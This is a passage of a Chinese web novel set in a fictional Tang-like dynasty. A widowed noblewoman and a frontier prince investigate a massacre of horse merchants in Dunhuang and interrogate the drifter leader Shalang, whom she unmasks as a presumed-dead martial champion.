明宜由衷道:“感谢阿兄镇守河西,才能让我们京城乃至大宁的百姓安享太平。之后回京,我定会每月去大兴善寺为阿兄祈福。”顿了下又补充一句,“大兴善寺的香火很灵的。” 可她话音还未落,李赟便撩起眼皮神色莫测地望着她,他脸上没有笑意,显然并未被她这番谄媚一般的说辞打动,甚至隐约还带着一丝不虞。 明宜不知自己哪里说错了话,正要开口再补上几句,却听对方嘴唇微启,轻描淡写道:“我不信这些,只怕大兴善寺的菩萨也不会保佑我。” 明宜微微一愣,再次觉得此人不好相与。 好在这时周子炤凑了过来,打破了两人之间微妙的尴尬。 “你们说什么呢?” “没什么。” 明宜和李赟异口同声。 周子炤也没好奇多问,只拍拍肚子笑道:“刚刚还不觉得,吃完两块瓜倒是觉得饿了,我们去找家食肆好好吃一顿。” “嗯。” 两人再次异口同声。 食肆是李赟选的,看起来平平无奇,却顾客盈门,烟火气十足,远远就闻到了香味。 几人不过寻常打扮,看起来与其他商客无甚区别,不管轮廓分明的李赟,还是养尊处优的周子炤,亦或是俊秀的明宜,在外貌上都是出挑的,凑在一起,在这杂乱的市井之地,便实在是有些惹眼。 周子炤难得来这种地方,吃上正经的敦煌市井美食,待那热气腾腾的羊肉焖饼端上来,顿时兴奋地闭上眼睛深吸了口气。 “太香了!” 明宜轻笑了笑:“表兄应该也吃尽了长安美食,这羊肉焖饼不稀奇吧?” “不一样。”周子炤摇摇头,“各地风俗不同,水土不同,一样的食物做出来味道也不一样,这才是真正的敦煌美味。” 明宜调侃道:“表兄在吃喝玩乐上,确实无人能及。” 齐王殿下不以为耻,反以为荣,眉开眼笑道:“我既无兄长们的野心,也没有表兄的大志,自然是要及时行乐。等游历完河西,我便去蜀中,再下江南。”说到这里,他像是想到什么似的,笑咪咪看向明宜,“三娘子,如今你也是孤家寡人一个,不如等回长安,你与我同行,咱们一起游遍华夏大地。” 别说,他这提议还真有点诱人,以至于明宜当真沉吟起来,思考这话的可行性。 只是还没想好,便被旁边一声轻咳打断思路。 他与周子炤不约而同朝始作俑者看去。 只见李赟脸色微沉,显然对周子炤的话不以为然。 周子炤叹息一声:“可惜表兄乃是河西脊梁,身负重任,不能随意离开,不然也可随我们一道同行。”说到这里,他双眼一亮,露出一抹坏笑,“不过也不是不行,表兄赶紧娶妻生子,待侄儿长大,接过阿兄手中重担,表兄便也能像我一样游山玩水了。” 明宜虽然觉得这齐王殿下有些嘴欠,可被他这一提起,才想起来以李赟的年纪,早该娶妻生子,何况凉王府本就子嗣不丰。 然而府中却好像连个侍妾都没有。 前两年她倒是听说过,景明帝曾为他赐婚,乃是京城贵女,却被他以狄患未除,无暇顾及终身大事为由婉拒,之后便不了了之。 有些好奇的看向对方。 只听李赟道:“凉州乃是大宁赐我族栖息之地,我只想留在故里,哪里都不愿去。” 周子炤倒是与明宜想到了一处,啧了一声道:“说到娶妻,从前父皇想为表兄指配的那位女郎,正是与三娘子并称京城双姝的晋阳侯家五娘子,真真是天姿国色,琴棋书画样样精通,表兄只怕是错过了一桩良缘。” 明宜忙道:“什么双姝?都是那些王孙公子的促狭话罢了,表兄千万别跟着一起取笑我,我哪能跟人家相提并好。” 周子炤却是不以为然摇头:“那林娘子确实是才貌双全,不过如今见识过三娘子胆识,我却觉得她无法跟你相提并论才是。” 明宜哭笑不得:“表兄说笑了。” “我说的可是真心话。” 明宜轻咳一声,看向神色始终淡然的李赟,蹙眉问道:“阿兄当真要等到狄患解决那日才打算成亲?” 李赟端起杏皮茶轻轻呷了一口,垂眸淡声道:“狄患不过借口,我只是不想终身大事由旁人来操控。” 将皇帝舅舅说成是旁人,也实在是有些大逆不道,不过他显然并不以为意。 周子炤笑呵呵道:“表兄定是想娶自己心悦之人。” 李赟不置可否。 明宜笑着附和:“那就祝阿兄早日觅得佳人。” 李赟抬眸看向她:“承弟妹吉言。” 明宜撞进那双意味不明的灰眸,心头莫名一怔。而就在这时,食肆门口忽然传来一声吵闹。 屋中食客,皆循声望去。 却见是那门口,一个中年男子摔在地上,死死扯住两个虬髯大汉的袍角哭叫道:“你放了我女儿!放了我女儿!” 而那两个虬髯大汉正捉着一个十三四岁的豆蔻少女,少女哭得梨花带雨,口中不停唤着“阿爹”。 其中一个大汉不耐烦地将男子踢开,怒道:“欠债还钱,还不上钱便用女儿抵,天经地义!怎么?你还想赖账!” 周围人显然对这蛮横行径不满,却没人敢上前制止,恐是因为这些人是城中流氓恶霸。 明宜下意识看向李赟,只见对方轻描淡写扫了眼门口,便收回目光,继续不紧不慢用膳。 身居高位的小凉王,显然并不打算去管这等市井杂事。 一旁的齐王殿下明显就热心多了,看清情况,立刻拍案而起,撸袖子冲到门口,指着两个虬髯大汉道:“当街强抢民女,还有没有王法!” 叶六几人赶紧跟上。 那虬髯大汉闻声看过来,见周子炤是个俊雅公子的模样,又操着外乡口音,当即凶神恶煞地拔出刀指向他:“哪来的外乡人?敢管我等闲事!” 那闪着寒光的刀,一看便是锋利无比,周子炤下意识朝内退了两步,气势也弱了一半:“你们想作何?还有没王法?” 那大汉嗤笑一声,晃了晃手中的刀:“在敦煌这就是王法。” 原本还在用膳的李赟,终于放下筷子,大步走到门口,伸手搭在周子炤后肩。 周子炤回头一看,这是靠山来了,顿时眉开眼笑。 那大汉看向李赟,原本想再以气势压人,却发觉对方神色冷峻,周身带着一股让人不能忽视的威压,显然不是等闲之辈。 以至于怔了片刻才反应过来,又赶紧提刀指向对方:“怎么?还真想管闲事?” 李赟面无表情看了眼地上汉子:“他欠了你们多少钱?” 大汉伸出巴掌:“五两银子!” 周子炤怒目圆瞪:“五两银子你就要人家女儿?还有没有天理!” 那大汉却是狠狠啐了口,指着旁边蜷成一团的少女:“五两够买两个这样的丫头!” 周子炤闻言简直是怒不可遏,但默默跟上来的明宜却知道,那大汉并未说假,五两银子对于贵胄富贾来说,不过是一瓶好酒,但在市井中,却足以买下两个活生生的姑娘。 “表兄——”周子炤抓住李赟求助。 “敢管闲事,我让你们吃不了兜着走!”那两个虬髯大汉已经不耐烦,将地上的人踹开,拖着瑟瑟发抖的少女就要走。 “阿爹——” “三娘——” 明宜听到这称呼,不免生出几分物伤其类之感,她转头看向李赟。 只是不等李赟再开口,人群中忽然传来一道朗声轻喝:“史三!看来你又将我的话当成耳旁风了?!” 众人都循声看去。 那是一个高大挺拔的年轻男子,蓄着短须,左脸一道长疤,显出几分狠厉,但眉眼颇为英朗,举手投足透着豪气爽快。 明宜听到有人轻呼出声:“是沙狼!” 那俩虬髯大汉见到来人,顿时从方才的凶神恶煞,转为一脸谄媚,上前朝人作了个揖,堆着一脸笑道:“沙狼兄,不是我们强人所难,是这人欠债不还,我们收不到钱,日子还怎么过?” 沙狼怀中抱着一把刀,淡淡看了眼两人,继续朝这边走过来,先是瞥了眼门口的李赟,然后才看向地上哭哭啼啼抱作一团父女,挥挥手道:“你们走吧!” 父女二人赶紧朝他磕了几个头,然后相互搀扶着,跌跌撞撞离去。 两个虬髯大汉苦着脸走过来道:“沙狼兄,这老东西欠钱不还,总不能让我们就这么算了吧!” 沙狼瞥两人一眼:“再等十日,若是他还未筹够,剩下的问我来拿。”说着,从腰间掏出几枚铜钱,“先拿去吃酒。” 两人讪讪道:“那怎好意思?” 沙狼挑挑眉头。 两人赶紧接过钱,笑呵呵道:“那我们就不客气了。” 两人捧着钱走了。 看客也渐渐散去。 沙狼又转过头淡淡瞥了眼李赟,然后从腰间摘下酒囊,仰头豪爽地灌了口,大摇大摆迈步离去。 “郎君,你的东西掉了。” 沙狼闻声转头,却见是一个清瘦少年来到自己身后,手中拿着一只荷包,乃是他方才从袖子中掉落的。 “多谢了。”他接过荷包,这才发觉面前这少年并非男子而是女郎,于是又笑了笑,道:“原来是小娘子。” 明宜目光落在他右手上,中指食指缠着黑布,不知是受伤还是别的缘故。 他看着他笑了笑。 沙狼也笑:“听娘子口音,应是长安人,这里可是敦煌,别一个人乱跑。”说话间,看到李赟已经走过来,不由得挑挑眉,“看来是我多虑了。” 说罢摆摆手,扬长而去。 明宜却依旧若有所思盯着对方背影。 “怎么?弟妹对此人有兴趣?” 及至李赟低沉清冷的声音在耳畔响起,她才回过神来。 明宜不置可否,只好奇低声问道:“阿兄可知这沙狼是何人?我听他口音,似乎不是敦煌本地人。” 李赟扯了扯嘴角,语气带着几分不屑:“一个流民罢了。” 明宜又问:“阿兄与此人认识?” 李赟倨傲道:“我如何会与一个流民认识?” 明宜:“……” 就在这时,周子炤跑了过来,兴冲冲道:“我刚打听过了,这沙狼乃是沙洲流民之首。” 明宜睁大眼睛好奇道:“是吗?” 周子炤笑着点点头:“我看这城中百姓似乎都知道他的名号,应该是个很厉害的人物。难怪刚刚那两个大汉对他言听计从。” “既是流民之首,定有过人之处。”明宜转过头想再去看看,但那道身影早已消失在熙熙攘攘的人群中。 李赟轻笑一声,语气依旧不屑:“沙洲流民多是亡命之徒,能做流民之首的只怕也是恶贯满盈之辈。” 明宜不以为然地轻笑道:“听说沙洲流民有不少行侠仗义的游侠儿,我看这沙狼便是。” 周子炤小鸡啄米似的点头附和:“我瞧着也是。” 李赟歪头看向面带笑容的少女,默了片刻才道:“弟妹似乎对这流民之首很有兴趣。” 明宜不置可否,只问道:“阿兄对此人可了解?” 李赟道:“一个流民,我不了解。” 明宜脸上露出一丝遗憾之色,而这遗憾显然让李赟有些不悦,他皱了皱眉头:“走,去刺史府。”—— 作者有话说:又一个男配出场 鲁刺儿应该是男二哈,只是戏份还在后面。 第39章 第 38 章 马商灭门 沙洲刺史姓吴, 掌管沙、瓜两州事务。 先前李赟已经派人去给刺史府通报,因而一行人上门时,吴刺史早已带人在门口恭候。 小凉王勤勉之名果然不假, 一入刺史府, 便马不停蹄与吴刺史去谈公事。 周子炤和明宜则去了官舍休息。 “可算到了。”周子炤呷了口热水,感慨道, “明日我们就去千佛洞, 看看这敦煌的石窟与壁画,到底与别处有何不同?” 明宜轻笑:“嗯, 我也迫不及待想一睹风采。”说着, 又状似随口道, “对了, 先前那个叫沙狼的流民之首,看着好像很不得了的样子, 也不知什么来路?” “诶?你提醒了我。”周子炤抬手打了个响指, “容我去打探一番。” 说着,便放下茶杯,欢快跑了出去。 这刺史府最不缺就是消息。 果不其然, 齐王殿下很快便笑容满面地去而复返, 显然收获颇丰。 他喜滋滋在明宜对面坐下, 猛喝了一杯茶,又重重呼口气:“刚问了刺史府的典史,那沙狼确实是沙洲流民之首,不仅是沙洲, 在瓜州流民中也颇有声望。大概是五年前来的敦煌,自称沙狼,没人知道他本名, 什么来历,只知身手极高,尤其是刀法,有沙洲第一刀之称。沙瓜两州沙匪泛滥,又神出鬼没,常有商队被劫掠,许多商客为安全过沙漠,会在敦煌请熟悉地形的护卫。这沙狼便是沙匪克星,由他护送的商队,从未被沙匪成功劫过。有商队在沙漠被劫掠,只要找他,也定能寻到沙匪将财物追回。越来越多的流民跟着他干这一行,久而久之,他便成了这沙洲流民之首。” 明宜若有所思点头:“那确实有点本事。” “岂止?”周子炤道,“听说现在城中百姓遇到事,都不来找官府,而是直接去找沙狼。” 明宜笑着随口道:“看来在沙洲,这沙狼的声望已超过小凉王。” “可不是么?” 两人正说着,门口忽然传来一声轻咳。 明宜转头看去,却见是李赟不知何时来到了门口。 “阿兄。”她连忙站起身,有些心虚道,“您忙完了?” 李赟轻描淡写点点头。迈步走进来。 “表兄,我刚和三娘子商量,明天去千佛洞,你有空陪我们一起吗?” 李赟在桌旁坐下,自顾地为自己倒了杯茶水,饮了一口才不紧不慢道:“嗯,明日早上我约了城中三大马商,与他们洽谈买马事宜。千佛洞离敦煌不算太远,等我谈完与你们一起去。” 周子炤眉开眼笑:“有表兄与我们同行,那就放心了。” 明宜则是随口问道:“阿兄要买多少匹马?” 李赟回道:“先买一万补齐大马营虚报的那一万。” 明宜又问:“沙瓜两州募兵的情况如何?” 在河西普通民户中,凡男子年满十六皆要入伍,而沙瓜两州如今总共只得一万多兵卒,乃是因为两州在籍人口不足六万,而非在籍的流民,却远超这个数字。 小凉王这次来督办募兵正是要招募流民。 明宜见李赟眉头微皱,猜到情况并不乐观。 果然,只见他放下茶杯,撇了撇嘴角,道:“募兵告示已发出一月有余,但两州加起来才募到不足两千。” “这么少?”周子炤惊讶道,“这沙洲之中也无过多营生,流民们宁愿受穷受苦,也不愿从戎。” 李赟道:“流民来历复杂,大都无家国之概念,有口饭吃即可。北狄也好,大宁也罢,对他们无甚区别,打起仗来,他们跑去寻找下个栖身之地便是。” “这倒也是。”周子炤点头,继而又露出一个机智的表情,“既然这些流民都是为了一口饭,我看只要提高饷钱,肯定不怕没人投军。” 李赟皮笑肉不笑地扯了下嘴角:“怎么?军饷你出?” 周子炤忙不迭抿抿嘴,轻咳一声:“算我没说。” 李赟沉吟片刻,蓦地抬眸看向明宜:“不知弟妹可有何妙策?” 明宜微微一怔,又轻笑道:“我能想到的阿兄定然早已想到。” “哦?”李赟眉头轻挑,“弟妹说来听听。” 明宜道:“所谓射人先射马,擒贼先擒王,若是能招揽那些流民首领,给他们一官半职,定能引来大批流民主动投军。” 周子炤闻言双眼明亮:“没错,流民多成帮结派,招揽来一个头领,那便能招来一队人马。”说着又想到什么似的,“要是能把那沙狼招入麾下,沙瓜两州流民只怕会争先恐后来投军。” 李赟原本风轻云淡的神色沉下几分,一时没再说话,倒是不知从哪里忽然冒出来的楚飞,耷拉着脸道:“殿下,您可别提这个了。前年王爷来沙洲,听闻这沙狼大名,便有心招揽,岂料这沙狼完全不知好歹,王爷派人三次登门去相请,他竟然都闭门不见。” 明宜看向李赟,对方脸色果然有几分愠怒,也难怪刚刚在街上,他提起沙狼时满脸不屑。 他原本以为他是单纯瞧不上流民,原来是因为在人家身上吃了闭门羹。 想到这样高高在上的小凉王也有吃瘪的时候,她竟是有些忍不住想笑。 实际上明宜也确实笑了,虽没笑出声,但是嘴角翘起的弧度,却落入李赟眼中。 男人原本微蹙的眉头蹙得更深。 明宜反应过来自己失态,赶紧欲盖弥彰轻咳一声:“豪侠多放荡不羁,不逐功名,不喜拘束,军中一官半职定然是吸引不了他们。” 李赟哂笑一声:“一个来路不明的流民,也能被称作豪侠?” 明宜还未出声,周子炤先啧了声道:“表兄这话可就有失偏颇,我可是听说了,那沙狼时常行侠仗义,在沙洲瓜洲两地颇有声望。依我看,表兄既然来了,不如再想办法继续招揽。” 明宜想到什么似的,问:“阿兄不知此人来历?” 李赟默了片刻才淡声道:“嗯,差人查过,没能查到,恐怕是什么作奸犯科之人,才故意隐藏身份。”说着又冷笑一声,“这样来路不明的人,即使他愿意投奔本王,本王也不敢用。” 明宜心道只怕你是嘴倔,但脑中浮上那沙狼的模样,不由得若有所思起来。 李赟显然并不想多谈此人,只道:“你俩好好休息,明天带你们去千佛洞。” 余下这小半日,李赟依旧去忙公务,明宜在官舍无所事事,让人找了几本县志来读,这半天时光很快便被打发。 翌日清晨,明宜刚起床洗漱,便听到外面吵吵闹闹,她心下好奇,让白芷去看情况。 对方很快去而复返,睁大双眼有些惊魂未定的样子:“娘子,出大事了。” 明宜一愣:“何事?” 白芷道:“说是王爷今日要召见的三大马商昨夜全遭人灭了门。” “什么?”明宜大惊。 “王爷已经跟刺史去看情况了。” 明宜下意识就想到了鲁刺儿。 李赟和刺史都出了府,明宜也不好擅自离开,只能和周子炤在官舍等着消息。 用过早膳不多久,终于有人来报,说是小凉王和刺史已回府,正在审讯犯人。 而这犯人还不是别人,正是沙狼。 明宜心中大惊,好奇追问,原来衙门在其中一户马商家中发现的一柄沾血的刀,乃是沙狼所用大刀。 明宜到底按耐不住好奇,撺掇周子炤去前堂看个究竟。 周子炤原本也心痒痒,被她这一撺掇,立刻领着她去了前堂。 * 堂中跪着一个五花大绑的男人,这是昨天明宜见过的那位沙狼。 那原本潇洒不羁的男子此时鬓发凌乱,衣衫不整,脸上还有些惺忪之色,显然是才从宿醉中醒来。 他对自己的状态并不以为意,对于前方坐着的李赟和刺史也显然并不放在眼中,只连连打着哈欠,一副还想再睡的样子。 吴刺史见状,怒不可遏:“沙狼,你可知你犯了什么罪?” 沙狼打了个哈欠,似是想抬手去擦嘴角,却发觉双手被绑着,只能歪头在肩膀上蹭了蹭,然后玩世不恭地弯起嘴角,笑道:“要说草民的罪,那可得慢慢数了。” “沙狼!”吴刺史见他这副漫不经心的模样,怒道,“昨晚城中三大马商皆被灭门,可与你有关?” 沙狼嗤笑一声:“我昨晚一直在望春楼喝酒,里面的舞姬可为我作证。今早大人去望春楼绑我时,我的酒都还未醒。况且,我沙狼再有本事,只怕也没办法酒后一人灭三门吧。” 刺史将手中大刀往地上一扔:“这可是你的刀?” 沙狼瞥了一眼,点点头:“是我的刀没错。” 吴刺史道:“你的刀就落在命案现场,你敢说昨晚灭门之案与你无关?” 沙狼并不急,只是像听到笑话般哈哈大笑起来:“刺史大人莫非觉得我是傻子,杀了人会把刀遗落在命案现场?”说着,又笑着看向李赟,“还是说小凉王也这般以为?” “大胆!”吴刺史喝道,“那你如何解释你的刀会落在被杀的马商家里。” “自然是被人陷害。”沙狼望着李赟道,“马商为何会死?想必想小凉王比草民清楚,小凉王不去抓作乱的北狄人,却拿我一个小小大宁草民发难。依我看小凉王也不过如此。” 吴刺史闻言大惊失色,先是怒吼了一声“放肆”,又诚惶诚恐地看向李赟 李赟一直没说话,只居高临下睥睨一般望着跪在地上的人,对方的讥诮也并未让他脸色有什么变化,只扯了扯嘴角,不紧不慢开口:“此次马商灭门罪魁祸首自然是北狄人,但一夜灭三门,绝非一人两人所为,既然你的刀落在现场,你又如何证明你与作乱的北狄人无关?” 沙狼微微一愣,很快又展眉一笑:“小凉王觉得一把刀便能定草民的罪,草民无话可说。” 话音刚落,一个卒役慌慌张张跑进来,跪在地上道:“王爷刺史大人,外面来了好多流民,吵着让放了沙狼。” “放肆!竟敢冲撞刺史府,还有没有王法?都抓起来!”吴刺史怒道。 卒役支支吾吾道:“可闹事的足有几百人……” 吴刺史顿时噎了一下,指着沙狼道:“你这是要造反?” 沙狼露出一脸无辜:“草民冤枉啊!” 吴刺史还想说话,却被李赟抬手打断:“先把人关去地牢,我们出去看看。” 吴刺史忙不迭点头应诺,吩咐人将沙狼押下去,又赶紧带上一群卒役跟上李赟,朝门口走去。 明宜和周子炤鬼鬼祟祟跟在人群之后。 “三娘子,你说表兄这么出去,会不会有危险?”周子炤忧心忡忡问道。 明宜摇摇头:“小凉王这点威信都没有,哪能孤身坐镇河西八年。” “这倒也是。” 大门很快被打开,李赟阔步走到门口。 门口拥挤的流民并不认识小凉王,但有人认识吴刺史,见到这位地方官出面,吵得更甚。 “吴狗官,放了沙狼!” 吴刺史气得脸红脖子粗,上前一步,厉声喝道:“小凉王在此,我看谁敢放肆!” 果不其然,小凉王三个字一出,原本吵闹的人群顿时安静下来。 众人看向吴刺史旁那高大挺拔的男子,一时脸色各异,有惊叹,有好奇,更多的是露出了难以掩饰的畏惧。 明宜心下感叹,果然是小凉王啊! 只见众流民面面相觑,忽然有人带头跪下来。 “小凉王在上,沙狼轻生重义,为人坦荡,绝不可能做勾结北狄,行灭门之事,还请小凉王明察秋毫,还沙狼一个公道。” 李赟扫了眼众人,冷声:“若他无罪,我自然会还他公道,若他当真与北狄有染,我会亲自斩下他的头颅,挂在城中示众。” 众人被吓得不敢再作声。 李赟又问:“诸位可有意见?” 众人面面相觑,齐齐摇头,拱手行礼之后自觉散去。 吴此时重重舒了口气,与李赟拱手作揖道:“王爷英明!” 李赟对这样的恭维显然不以为意,只冷眼看了眼离散的流民,便转身进门。 大门咯吱一声,在众人身后合上。 走了几步后,李赟忽然转头,越过众人看向鬼鬼祟祟跟在后面的两人。 原本以为藏得很好的明宜和周子炤蓦地迎上这眼神,俱是一愣。 还是齐王殿下先反应过来,抬手挥了挥,笑呵呵拍马道:“表兄威武!” 李赟一副懒得理他的模样,轻飘飘挪开目光看向明宜:“弟妹,你随我来。” 明宜一愣,赶紧跟上他。 周子炤也跟上来:“表兄,我呢?” 李赟:“我们去地牢,你去吗?。” 周子炤:“……不用了。” 齐王殿下很自觉地没有跟上来。 吴刺史听到李赟要去地牢,心知他是要继续去审那沙狼,只是不明白他为何要叫上这位侯夫人。 却也不敢多问,只朝两人拱拱手,唯唯诺诺道:“王爷,您看那沙狼该如何处理?” 李赟没回答,而是转头看向明宜:“弟妹对此事有何看法?” 虽然这一路来,李赟会与自己谈论庶务,但像这样在其他官员面前问她意见,还是头一回…… 明宜不动声色看了眼那吴刺史,对方神色有些狐疑,又明显有几分探究好奇,以及不以为意。 这样的眼神让她生出一股逆反之心,便好整以暇回道:“就如沙狼所说,如果人真是他所杀,绝不会将自己的刀丢在现场,分明是有人陷害,且手段并不高明,但即使如此,也定会让王爷和官府,与沙狼甚至流民生出罅隙,若王爷真对沙狼发难,那正是北狄人想看到的。” 吴刺史闻言一愣,他倒是没想到这茬,不免对这位侯夫人另眼相看,又赶紧对李赟拱手道:“王爷,侯夫人说得在理,我们若对沙狼下手,只怕是落了北狄人陷阱。” 李赟却是哂笑一声:“所以那流民之首才如此有恃无恐。” 吴刺史听出对方语气中的冷厉,没敢再说话,只老老实实领着对方去地牢。 地牢暗无天日,只有墙上的油灯,照出一室幽光。 刺史府并不管刑狱之事,能被抓来刺史府地牢的,大都是重犯要犯和北狄细作。 吴刺史看着是个文雅之士,但一室琳琅满目的刑具,昭显了这位刺史亦是铁腕角色。 想来也并不奇怪,这是沙洲,北狄三不五时便会潜入劫掠,寻常人如何能戴得稳这顶乌纱帽? 吴刺史领着李赟在一张圈椅坐下,又准备领着卒役亲自将沙狼带过来。 却听李赟道:“稍等!” 吴刺史赶紧拱手问:“王爷有何吩咐?” 李赟轻描淡写道:“再拿一张椅子来。” 他虽未说原因,但吴刺史也不是没眼力见的人,他看了眼站在李赟身侧的女郎,赶紧差人又去挪了张椅子过来,笑容可掬对明宜作了一揖:“侯夫人,请坐!” 明宜礼节性地回了个礼,与李赟并排而坐。 吴刺史一边转身去监房提人,一边忍不住心中犯嘀咕。王爷若是带着那位齐王来地牢审人,倒是理所当然,可他竟是带着侯夫人来这刺史府重地。 且不说侯夫人乃是女郎,他们一个夫兄一个弟妹,这般同进同出,也实在有失礼数。 但旋即想李氏乃是胡狄出身,本就不讲汉人这些礼数,他在敦煌这么多年,什么没见过,何须对这事儿不解? 于是也不再多想。 沙狼很快被提了出来。 他手脚已经绑上了镣铐,形容颇为狼狈,被卒役从背后推了一把,便顺势跪倒在地上,但神色依旧落拓不羁。 他抬头先是看向李赟,笑道:“草民拜见凉王殿下!”说罢,目光落在明宜脸上,挑挑眉道,“咦?这不是昨日替我拾了荷包的小娘子么?莫非是王妃?” 明宜顿时面露尴尬。 吴刺史则是怒道:“说什么胡话!这位是西平侯夫人!” 沙狼了然点头,笑道:“原来是那位刚刚守寡的侯夫人,恕草民眼拙。” 吴刺史:“放肆!” 明宜却摆摆手:“无妨。”又转头看向李赟,“阿兄可以审问了!” 李赟扯了下嘴角,面无表情看向地上的男人。 沙狼自然见过李赟,只是这般近还是头一回,他一向对这种天潢贵胄不以为然,小凉王的传闻,他听过太多,沙洲童谣都不止一首,但他却觉得所谓显赫功绩,不过是用河西兵尸骨为他垒起来的。 一将功成万骨枯罢了。 男人那双深灰色眸子睥睨着他,他也似笑非笑望着对方,彼此眼中都有不屑。 这一路来,明宜见识了小凉王在河西的威信,多少人将他当做神明一般膜拜。只怕这是他人生头一回,遇到一个不把他当一回事的刺头。 而小凉王向来倨傲…… 明宜暗暗吸了口气,眼观鼻鼻观心,不去看李赟的神色。 当然,喜怒不形于色的小凉王,此时脸上也并无表情,他只是勾了勾嘴角,哂笑道:“沙狼,那落在马商家中的刀,既是你的,你是不是该做个解释?” 沙狼道:“我已说过,我昨晚在望春楼吃酒,望春楼人来人往那么多人,想来是有人趁我醉酒,将我的刀偷走。” 李赟看着他沉默片刻,忽然脸色一沉:“沙狼,你是认为我不会杀你?还是不敢杀你?” 沙狼笑道:“小凉王既敢杀我也会杀我。” “你倒是有自知之明。”李赟冷笑,“看来你是不怕死了。” 沙狼道:“我当然怕死。” 李赟忽然倾身,直直盯着对方眸子,一字一句道:“沙狼,你若知道那些北狄贼人在哪里。如实交代,我可以饶你一命!” 沙狼失笑:“王爷太瞧得起我了,我一介流民,如何知道北狄贼人在哪里?”说到这里,又话锋一转,“再说了,我与公门一向井水不犯河水,我为何要帮你们捉拿北狄贼人?那可是你们的职责,与我无关。” 李赟脸上明显浮上一丝怒意。 一旁的吴刺史,更是怒火冲天:“沙狼,看来不给你上点刑,你是不知我这刺史府是作何的?” 说着摆摆手,让人去拿刑具。 沙狼脸上表情未变,只是不以为意地扯了扯嘴角,忽然看向明宜,挑眉一笑道:“我不跟官府衙门打交道,但侯夫人并非公门中人,我倒是可以与她说上一二。” 明宜一愣,继而又笑道:“郎君愿意与我说,那小女子真是荣幸不过。” 李赟脸色冷沉,没再说话,只望着沙狼,等他继续。 然而沙狼却是眨眨眼睛,先是看了看李赟,又歪头看了眼吴刺史,什么都不再说。 吴刺史蹙眉:“你是何意?” 沙狼挑眉道:“我既是要与侯夫人说,那定然是与她单独说。” “放肆!”李赟猛地拍了下圈椅扶手。 吴刺史也要拿起刑具准备亲自上刑。 还是明宜赶紧道:“阿兄,没事的,你们先出去吧,我与他单独说。” 李赟眉头微蹙,转头看向她。 明宜点点头,低声道:“如今找到灭门凶手最重要。” 李赟犹疑片刻,还是缓缓站起身,继而又想到什么似的,微微躬身,仔细检查了一遍沙狼身上的枷锁,这才对吴刺史招招手:“走,我们出去。” 待众人出门,屋中只剩下两人。 明宜轻笑着看向地上的男人:“郎君现在可以说了。” 沙狼昂头看向她,似笑非笑道:“如果我说我对马商灭门惨案一无所知,只是想故意戏耍一番小凉王,侯夫人会如何对我?” 他脸上带了些玩世不恭,原本以为会看到女子色变的脸,却不料对方依旧面含浅笑,既对他的话不惊讶,也无生气,只是意味深长般上下打量他一番,笑着摇摇头,柔声道:“陆郎君或许是想戏耍王爷,但陆郎君确实也有马商灭门的线索。” 沙狼的笑意,随着她连着两声的“陆郎君”,蓦地凝固在那张硬朗不羁的脸上—— 作者有话说:才反应过来一直用的系统自带封面,于是自己用平板涂了个封面,怒省找美工的十块钱。 就是千万别点开!!!! 不然会被粗糙画风笑死(因为还不太会用Procreate)23333 第40章 第 39 章 飞鹰 但他到底见过世面, 很快又恢复如常,笑着道:“不知侯夫人为何叫我陆郎君?” 明宜依旧笑得恬然,只轻描淡写“哦”了一声:“看来是我认错人了。” 沙狼了然般点点头:“原来如此。” 明宜笑问:“郎君就不好奇我将你认错成了谁?” 沙狼微微一怔, 顺着她的话道:“不知侯夫人将草民认作了谁?” 明宜笑盈盈望着他, 一字一句道:“大宁景明十五年武状元陆浪,” 男人也笑:“听起来是个不得了的人物。” 明宜笑问:“怎么?郎君未曾听过此人?” 沙狼道:“沙洲距离长安太远, 侯夫人去外边随手抓一个人来问, 只怕都与草民一样,未曾听过这劳什子的武状元。” 明宜依旧不紧不慢道:“那我与郎君说一说这人如何?” “好啊!”沙狼笑, “草民洗耳恭听。” 明宜道:“这位武状元乃是咸阳人士, 景明十五年摘得武状元后, 入金吾卫做了校尉, 原本前途一片大好,然而不到两年, 便因当街斩杀调戏民女的宰相之子, 被判斩首。随后在上刑场前一日,自缢在狱中。因为陆状元素来侠肝义胆,长安百姓听闻死讯, 还自发为其立了一座碑。” 沙狼眸光微微闪动, 继而又笑着点点头:“听起来这陆状元虽然仗义, 却实在冲动愚蠢,白白断送了前程和性命。” 明宜轻笑:“是啊,陆状元武举夺魁那日,我恰好有幸见过, 当年五陵年少,春风得意,乃是多少小娘子的梦中情郎。”说着上下打量一眼对方, “与如今的郎君相比,确实天壤之别,是我认错人了。” 她依旧笑靥盈盈,沙狼却是敛了脸上的笑,微微眯起双眸,道:“不知侯夫人为何会将我认作那死去的陆状元?” 明宜轻描淡写道:“哦,那是因为我听过传言,说那陆状元其实并未死,乃是他同僚为救他做了这一出假死戏码,此后便从京城消失。而陆状元恰好与郎君一样,都是左手用刀,而且……”她目光落在对方被镣铐缚住的双手,忽然倾身上前,手中忽然多出一把短刀,猛地朝他右手一挥。 沙狼那缠绕着黑布的食指与中指,就这样被她砍落在地,只是掉落的并没有手指,只是两团黑布,没了黑布遮掩那只右手,赫然少了两根手指。 原来那是两根手指乃是断指,黑布不过用来掩饰。 沙狼蓦地一怔,竟是一时没反应过来。 明宜继续道:“陆状元做校尉第一个月,便因缉拿恶徒而被斩断右手中指和食指,此后便一直左手握刀。” 反应过来的沙狼,忽然朗声大笑:“侯夫人真是个妙人,若我是小凉王,也定会让夫人陪伴左右。” 原本一直气定神闲的明宜,听到这带着几分戏谑的话,秀眉终于微蹙,脸色也沉了几分,冷声道:“小凉王约莫已经等不及要进来看情况,若是郎君什么都不说,我只能将我的猜测告诉他,让他来处置郎君了。” 流民虽以逃难者为主,但也有不少乃是官府通缉的罪犯,因为沙洲流民太多,官府对这些逃犯也多是睁一只眼闭一只眼,可若逃犯原本乃是死囚,那定是另当别论。 沙狼听了她这话,果然脸色微变,犹疑片刻,道:“我确实对马商灭门一事毫不知情。” 明宜眉头蹙得更深。 沙狼又继续道:“不过既然是北狄人所为,应该跟‘飞鹰’脱不了干系。” “飞鹰?” 沙狼点头:“沙瓜两州沙匪泛滥,飞鹰乃是这两年冒出来的一支,我原本也只是听说,从未遇到过。直到两个月前,我受一支商队所托,替他们追回被劫掠财物,偶然遇到两人,才知这伙沙匪隶属北狄突涅小可汗麾下,我寻遍大漠,也未能找到他们的踪迹,只得推测他们就潜伏在敦煌城附近。” 明宜惊道:“你是说他们既是沙匪又是细作?” 